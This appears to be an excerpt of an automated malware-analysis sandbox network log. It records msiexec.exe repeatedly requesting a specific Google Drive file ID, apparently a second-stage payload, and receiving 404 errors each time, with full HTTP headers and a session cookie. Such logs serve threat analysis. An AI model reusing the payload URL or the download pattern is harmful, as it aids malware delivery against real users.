2025-02-19 19:37:34 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	50001	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:35 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:35 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:35 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-NJOvzu31O-jkNSzlX9CWug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	50002	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:36 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:37 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFi8ixZqbjX-M6QhnhEC3fMfeSIRqhfLfrdI5vH26vw9kZdN7_znblJBFflLv1uZK5w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:36 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-wS9YK8JDIgwWVtKhtU5XCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:37 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 57 6b 61 58 64 37 6f 59 52 49 64 31 66 42 6f 62 4d 4f 75 38 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AWkaXd7oYRId1fBobMOu8A">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:37 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	50003	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:37 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:38 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:38 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-l1sp0OBIDVh2U4m14quDXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	50004	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:39 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:39 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEWcbVPvHgbpRO3CH7TKS99uE0H2nYr0dFI3lyEzASHNVLc9pwFYY459tz_hieH1vq4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:39 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-QqNBBnPluaLJbX18SNKbnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:39 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 4e 4e 46 63 5f 34 47 47 47 79 31 38 61 6b 62 78 55 79 32 65 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sNNFc_4GGGy18akbxUy2eA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:39 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50005	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:40 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:40 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:40 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-XBqH3CRItm7jgHfGVLl7hQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	50006	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:41 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:42 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iH2gETpzEOPEHl0rsyyjaiQ1j1i-cDjvv2dfEZHRi3uFzW5pVbNpZ_Qw7LWLf3UOgrzWfAtB_M Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:41 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-gondjm62pzgkemnnFs4ukw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:42 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 4a 4b 2d 51 65 2d 37 78 42 52 6c 73 64 45 72 49 4d 61 57 45 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uJK-Qe-7xBRlsdErIMaWEw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:42 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	50007	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:42 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:43 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:43 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-7yKa-MjdSakE5ToclFcAZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	50008	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:43 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:44 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFTewJqVYfWdujfv9CgvLDAvWVEJZYL5fI3bJOiPBhK5HKglfFApcNjPIEGEaR6oTRrkAlP8ic Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:44 GMT Content-Security-Policy: script-src 'nonce-EqmB-LAjpa_XOjNSNHGhMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:44 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 70 32 52 46 55 64 6f 6d 50 44 67 33 45 5f 4a 48 71 30 71 4e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rp2RFUdomPDg3E_JHq0qNQ">*{margin:0;padding:0}html,code{font:15px/22px arial
